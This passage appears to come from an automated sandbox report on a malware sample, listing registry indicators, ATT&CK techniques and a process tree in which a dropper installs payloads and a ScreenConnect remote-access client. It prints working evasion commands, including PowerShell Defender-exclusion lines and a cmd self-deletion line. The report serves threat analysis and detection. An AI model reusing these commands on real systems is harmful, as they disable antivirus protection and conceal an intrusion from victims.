00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000001397c7f900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	8a1fde3a772340aa9299f6e59ed98921.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	ScreenConnect.WindowsClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	ScreenConnect.WindowsClient.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	afa0717dce9c492794d3bb96767a8149.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	afa0717dce9c492794d3bb96767a8149.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	8a1fde3a772340aa9299f6e59ed98921.exe

Delays execution with timeout.exe 2 IoCs

evasion

pid	Process
3452	timeout.exe
6340	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies data under HKEY_USERS 13 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.ClientService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.WindowsClient.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\26\52C64B7E	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.ClientService.exe

Modifies registry class 37 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\E2D8991B85D0C9C3895AB90DEE9D22B2	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-03BC-F8663411820C}\InprocServer32\ = "C:\\Program Files (x86)\\ScreenConnect Client (98a59bd0eed9222b)\\ScreenConnect.WindowsCredentialProvider.dll"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D32D1EE57AD9200EF07A7D4C08AB00DC	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D32D1EE57AD9200EF07A7D4C08AB00DC\Assignment = "1"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D32D1EE57AD9200EF07A7D4C08AB00DC\SourceList\Media\1 = ";"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-98a59bd0eed9222b\shell\open\command	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-03BC-F8663411820C}\InprocServer32	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D32D1EE57AD9200EF07A7D4C08AB00DC\ProductIcon = "C:\\Windows\\Installer\\{5EE1D23D-9DA7-E002-0FA7-D7C480BA00CD}\\DefaultIcon"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D32D1EE57AD9200EF07A7D4C08AB00DC\DeploymentFlags = "3"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D32D1EE57AD9200EF07A7D4C08AB00DC\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\ScreenConnect\\24.3.7.9067\\98a59bd0eed9222b\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-98a59bd0eed9222b\shell\open\command	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-03BC-F8663411820C}\ = "ScreenConnect Client (98a59bd0eed9222b) Credential Provider"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D32D1EE57AD9200EF07A7D4C08AB00DC\ProductName = "ScreenConnect Client (98a59bd0eed9222b)"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D32D1EE57AD9200EF07A7D4C08AB00DC\Version = "402849799"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D32D1EE57AD9200EF07A7D4C08AB00DC\SourceList	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D32D1EE57AD9200EF07A7D4C08AB00DC\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\ScreenConnect\\24.3.7.9067\\98a59bd0eed9222b\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-98a59bd0eed9222b\URL Protocol	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-98a59bd0eed9222b\UseOriginalUrlEncoding = "1"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-98a59bd0eed9222b\shell	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-98a59bd0eed9222b\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (98a59bd0eed9222b)\\ScreenConnect.WindowsClient.exe\" \"%1\""	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\D32D1EE57AD9200EF07A7D4C08AB00DC\Full	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D32D1EE57AD9200EF07A7D4C08AB00DC\PackageCode = "D32D1EE57AD9200EF07A7D4C08AB00DC"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D32D1EE57AD9200EF07A7D4C08AB00DC\Language = "1033"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-98a59bd0eed9222b	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\D32D1EE57AD9200EF07A7D4C08AB00DC	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D32D1EE57AD9200EF07A7D4C08AB00DC\AuthorizedLUAApp = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\E2D8991B85D0C9C3895AB90DEE9D22B2\D32D1EE57AD9200EF07A7D4C08AB00DC	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D32D1EE57AD9200EF07A7D4C08AB00DC\SourceList\PackageName = "ScreenConnect.ClientSetup.msi"	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D32D1EE57AD9200EF07A7D4C08AB00DC\Clients = 3a0000000000	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-98a59bd0eed9222b\shell\open	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-03BC-F8663411820C}	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-03BC-F8663411820C}\InprocServer32\ThreadingModel = "Apartment"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D32D1EE57AD9200EF07A7D4C08AB00DC\AdvertiseFlags = "388"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D32D1EE57AD9200EF07A7D4C08AB00DC\InstanceType = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D32D1EE57AD9200EF07A7D4C08AB00DC\SourceList\Media	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-98a59bd0eed9222b	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D32D1EE57AD9200EF07A7D4C08AB00DC\SourceList\Net	msiexec.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2868	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
6612	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5096	file.exe
5096	file.exe
2444	skotes.exe
2444	skotes.exe
1680	NN9Dd7c.exe
1700	powershell.exe
1700	powershell.exe
1224	4557e845ae.exe
1224	4557e845ae.exe
2268	powershell.exe
2268	powershell.exe
3056	afa0717dce9c492794d3bb96767a8149.exe
3056	afa0717dce9c492794d3bb96767a8149.exe
1828	msedge.exe
1828	msedge.exe
3772	msedge.exe
3772	msedge.exe
1224	4557e845ae.exe
1224	4557e845ae.exe
1224	4557e845ae.exe
1224	4557e845ae.exe
2200	identity_helper.exe
2200	identity_helper.exe
4632	962ad6740a.exe
4632	962ad6740a.exe
5544	skotes.exe
5544	skotes.exe
5428	1a2a86cd3b.exe
5428	1a2a86cd3b.exe
6804	powershell.exe
6804	powershell.exe
6804	powershell.exe
5708	powershell.exe
5708	powershell.exe
5708	powershell.exe
6732	8a1fde3a772340aa9299f6e59ed98921.exe
6732	8a1fde3a772340aa9299f6e59ed98921.exe
6744	msiexec.exe
6744	msiexec.exe
5652	ScreenConnect.ClientService.exe
5652	ScreenConnect.ClientService.exe
5652	ScreenConnect.ClientService.exe
5652	ScreenConnect.ClientService.exe
5652	ScreenConnect.ClientService.exe
5652	ScreenConnect.ClientService.exe
7000	6c8eb6e2a4.exe
7000	6c8eb6e2a4.exe
6160	5be7fde5d9.exe
6160	5be7fde5d9.exe
6160	5be7fde5d9.exe
6160	5be7fde5d9.exe
6160	5be7fde5d9.exe
6160	5be7fde5d9.exe
6160	5be7fde5d9.exe
6160	5be7fde5d9.exe
6160	5be7fde5d9.exe
6160	5be7fde5d9.exe
3572	skotes.exe
3572	skotes.exe
6760	powershell.exe
6760	powershell.exe
6760	powershell.exe
1588	msedge.exe
1588	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1680	NN9Dd7c.exe
Token: SeDebugPrivilege	1700	powershell.exe
Token: SeDebugPrivilege	2268	powershell.exe
Token: SeDebugPrivilege	1920	ee9ec378648f4147abe9225611844058.exe
Token: SeDebugPrivilege	4632	962ad6740a.exe
Token: SeDebugPrivilege	5496	ga70pjP.exe
Token: SeShutdownPrivilege	6556	msiexec.exe
Token: SeIncreaseQuotaPrivilege	6556	msiexec.exe
Token: SeSecurityPrivilege	6744	msiexec.exe
Token: SeCreateTokenPrivilege	6556	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	6556	msiexec.exe
Token: SeLockMemoryPrivilege	6556	msiexec.exe
Token: SeIncreaseQuotaPrivilege	6556	msiexec.exe
Token: SeMachineAccountPrivilege	6556	msiexec.exe
Token: SeTcbPrivilege	6556	msiexec.exe
Token: SeSecurityPrivilege	6556	msiexec.exe
Token: SeTakeOwnershipPrivilege	6556	msiexec.exe
Token: SeLoadDriverPrivilege	6556	msiexec.exe
Token: SeSystemProfilePrivilege	6556	msiexec.exe
Token: SeSystemtimePrivilege	6556	msiexec.exe
Token: SeProfSingleProcessPrivilege	6556	msiexec.exe
Token: SeIncBasePriorityPrivilege	6556	msiexec.exe
Token: SeCreatePagefilePrivilege	6556	msiexec.exe
Token: SeCreatePermanentPrivilege	6556	msiexec.exe
Token: SeBackupPrivilege	6556	msiexec.exe
Token: SeRestorePrivilege	6556	msiexec.exe
Token: SeShutdownPrivilege	6556	msiexec.exe
Token: SeDebugPrivilege	6556	msiexec.exe
Token: SeAuditPrivilege	6556	msiexec.exe
Token: SeSystemEnvironmentPrivilege	6556	msiexec.exe
Token: SeChangeNotifyPrivilege	6556	msiexec.exe
Token: SeRemoteShutdownPrivilege	6556	msiexec.exe
Token: SeUndockPrivilege	6556	msiexec.exe
Token: SeSyncAgentPrivilege	6556	msiexec.exe
Token: SeEnableDelegationPrivilege	6556	msiexec.exe
Token: SeManageVolumePrivilege	6556	msiexec.exe
Token: SeImpersonatePrivilege	6556	msiexec.exe
Token: SeCreateGlobalPrivilege	6556	msiexec.exe
Token: SeCreateTokenPrivilege	6556	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	6556	msiexec.exe
Token: SeLockMemoryPrivilege	6556	msiexec.exe
Token: SeIncreaseQuotaPrivilege	6556	msiexec.exe
Token: SeMachineAccountPrivilege	6556	msiexec.exe
Token: SeTcbPrivilege	6556	msiexec.exe
Token: SeSecurityPrivilege	6556	msiexec.exe
Token: SeTakeOwnershipPrivilege	6556	msiexec.exe
Token: SeLoadDriverPrivilege	6556	msiexec.exe
Token: SeSystemProfilePrivilege	6556	msiexec.exe
Token: SeSystemtimePrivilege	6556	msiexec.exe
Token: SeProfSingleProcessPrivilege	6556	msiexec.exe
Token: SeIncBasePriorityPrivilege	6556	msiexec.exe
Token: SeCreatePagefilePrivilege	6556	msiexec.exe
Token: SeCreatePermanentPrivilege	6556	msiexec.exe
Token: SeBackupPrivilege	6556	msiexec.exe
Token: SeRestorePrivilege	6556	msiexec.exe
Token: SeShutdownPrivilege	6556	msiexec.exe
Token: SeDebugPrivilege	6556	msiexec.exe
Token: SeAuditPrivilege	6556	msiexec.exe
Token: SeSystemEnvironmentPrivilege	6556	msiexec.exe
Token: SeChangeNotifyPrivilege	6556	msiexec.exe
Token: SeRemoteShutdownPrivilege	6556	msiexec.exe
Token: SeUndockPrivilege	6556	msiexec.exe
Token: SeSyncAgentPrivilege	6556	msiexec.exe
Token: SeEnableDelegationPrivilege	6556	msiexec.exe

Suspicious use of FindShellTrayWindow 28 IoCs

pid	Process
5096	file.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
6556	msiexec.exe
6556	msiexec.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5096 wrote to memory of 2444	5096	file.exe	82
PID 5096 wrote to memory of 2444	5096	file.exe	82
PID 5096 wrote to memory of 2444	5096	file.exe	82
PID 2444 wrote to memory of 1680	2444	skotes.exe	83
PID 2444 wrote to memory of 1680	2444	skotes.exe	83
PID 2444 wrote to memory of 1680	2444	skotes.exe	83
PID 1680 wrote to memory of 1700	1680	NN9Dd7c.exe	85
PID 1680 wrote to memory of 1700	1680	NN9Dd7c.exe	85
PID 1680 wrote to memory of 1700	1680	NN9Dd7c.exe	85
PID 2444 wrote to memory of 1224	2444	skotes.exe	87
PID 2444 wrote to memory of 1224	2444	skotes.exe	87
PID 2444 wrote to memory of 1224	2444	skotes.exe	87
PID 1680 wrote to memory of 2268	1680	NN9Dd7c.exe	88
PID 1680 wrote to memory of 2268	1680	NN9Dd7c.exe	88
PID 1680 wrote to memory of 2268	1680	NN9Dd7c.exe	88
PID 1680 wrote to memory of 3056	1680	NN9Dd7c.exe	94
PID 1680 wrote to memory of 3056	1680	NN9Dd7c.exe	94
PID 1680 wrote to memory of 3056	1680	NN9Dd7c.exe	94
PID 1680 wrote to memory of 1920	1680	NN9Dd7c.exe	95
PID 1680 wrote to memory of 1920	1680	NN9Dd7c.exe	95
PID 2444 wrote to memory of 4744	2444	skotes.exe	97
PID 2444 wrote to memory of 4744	2444	skotes.exe	97
PID 2444 wrote to memory of 4744	2444	skotes.exe	97
PID 1920 wrote to memory of 3772	1920	ee9ec378648f4147abe9225611844058.exe	100
PID 1920 wrote to memory of 3772	1920	ee9ec378648f4147abe9225611844058.exe	100
PID 3772 wrote to memory of 3764	3772	msedge.exe	101
PID 3772 wrote to memory of 3764	3772	msedge.exe	101
PID 3772 wrote to memory of 1992	3772	msedge.exe	102
PID 3772 wrote to memory of 1992	3772	msedge.exe	102
PID 3772 wrote to memory of 1992	3772	msedge.exe	102
PID 3772 wrote to memory of 1992	3772	msedge.exe	102
PID 3772 wrote to memory of 1992	3772	msedge.exe	102
PID 3772 wrote to memory of 1992	3772	msedge.exe	102
PID 3772 wrote to memory of 1992	3772	msedge.exe	102
PID 3772 wrote to memory of 1992	3772	msedge.exe	102
PID 3772 wrote to memory of 1992	3772	msedge.exe	102
PID 3772 wrote to memory of 1992	3772	msedge.exe	102
PID 3772 wrote to memory of 1992	3772	msedge.exe	102
PID 3772 wrote to memory of 1992	3772	msedge.exe	102
PID 3772 wrote to memory of 1992	3772	msedge.exe	102
PID 3772 wrote to memory of 1992	3772	msedge.exe	102
PID 3772 wrote to memory of 1992	3772	msedge.exe	102
PID 3772 wrote to memory of 1992	3772	msedge.exe	102
PID 3772 wrote to memory of 1992	3772	msedge.exe	102
PID 3772 wrote to memory of 1992	3772	msedge.exe	102
PID 3772 wrote to memory of 1992	3772	msedge.exe	102
PID 3772 wrote to memory of 1992	3772	msedge.exe	102
PID 3772 wrote to memory of 1992	3772	msedge.exe	102
PID 3772 wrote to memory of 1992	3772	msedge.exe	102
PID 3772 wrote to memory of 1992	3772	msedge.exe	102
PID 3772 wrote to memory of 1992	3772	msedge.exe	102
PID 3772 wrote to memory of 1992	3772	msedge.exe	102
PID 3772 wrote to memory of 1992	3772	msedge.exe	102
PID 3772 wrote to memory of 1992	3772	msedge.exe	102
PID 3772 wrote to memory of 1992	3772	msedge.exe	102
PID 3772 wrote to memory of 1992	3772	msedge.exe	102
PID 3772 wrote to memory of 1992	3772	msedge.exe	102
PID 3772 wrote to memory of 1992	3772	msedge.exe	102
PID 3772 wrote to memory of 1992	3772	msedge.exe	102
PID 3772 wrote to memory of 1992	3772	msedge.exe	102
PID 3772 wrote to memory of 1992	3772	msedge.exe	102
PID 3772 wrote to memory of 1992	3772	msedge.exe	102
PID 3772 wrote to memory of 1992	3772	msedge.exe	102
PID 3772 wrote to memory of 1992	3772	msedge.exe	102

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

Views/modifies file attributes 1 TTPs 3 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
1152	attrib.exe
2692	attrib.exe
6588	attrib.exe

C:\Windows\system32\sihost.exe
sihost.exe
1⤵
PID:2492
- C:\Windows\SysWOW64\svchost.exe
  "C:\Windows\System32\svchost.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:6800

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:5096
- C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
  "C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Checks computer location settings
  - Executes dropped EXE
  - Identifies Wine through registry keys
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2444
- - C:\Users\Admin\AppData\Local\Temp\1017666001\NN9Dd7c.exe
    "C:\Users\Admin\AppData\Local\Temp\1017666001\NN9Dd7c.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1680
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Add-MpPreference -ExclusionPath "C:\cxdxokhcm"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1700
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2268
  - - C:\cxdxokhcm\afa0717dce9c492794d3bb96767a8149.exe
      "C:\cxdxokhcm\afa0717dce9c492794d3bb96767a8149.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Checks processor information in registry
      Suspicious behavior: EnumeratesProcesses
      PID:3056
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c timeout /t 10 & del /f /q "C:\cxdxokhcm\afa0717dce9c492794d3bb96767a8149.exe" & rd /s /q "C:\ProgramData\AAS00R1VAI58" & exit
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4384
      - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 10
        6⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:3452
  - - C:\cxdxokhcm\ee9ec378648f4147abe9225611844058.exe
      "C:\cxdxokhcm\ee9ec378648f4147abe9225611844058.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1920
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://apps.microsoft.com/store/detail/9MSZ40SLW145?ocid=&referrer=psi
        5⤵
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        Suspicious use of WriteProcessMemory
        
        PID:3772
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffc2e2546f8,0x7ffc2e254708,0x7ffc2e254718
        6⤵
        
        PID:3764
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2184,10991775395451536721,4662726493953490125,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2196 /prefetch:2
        6⤵
        
        PID:1992
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2184,10991775395451536721,4662726493953490125,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2312 /prefetch:3
        6⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:1828
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2184,10991775395451536721,4662726493953490125,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2788 /prefetch:8
        6⤵
        
        PID:4040
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2184,10991775395451536721,4662726493953490125,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3360 /prefetch:1
        6⤵
        
        PID:4036
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2184,10991775395451536721,4662726493953490125,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3368 /prefetch:1
        6⤵
        
        PID:2640
      - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
        
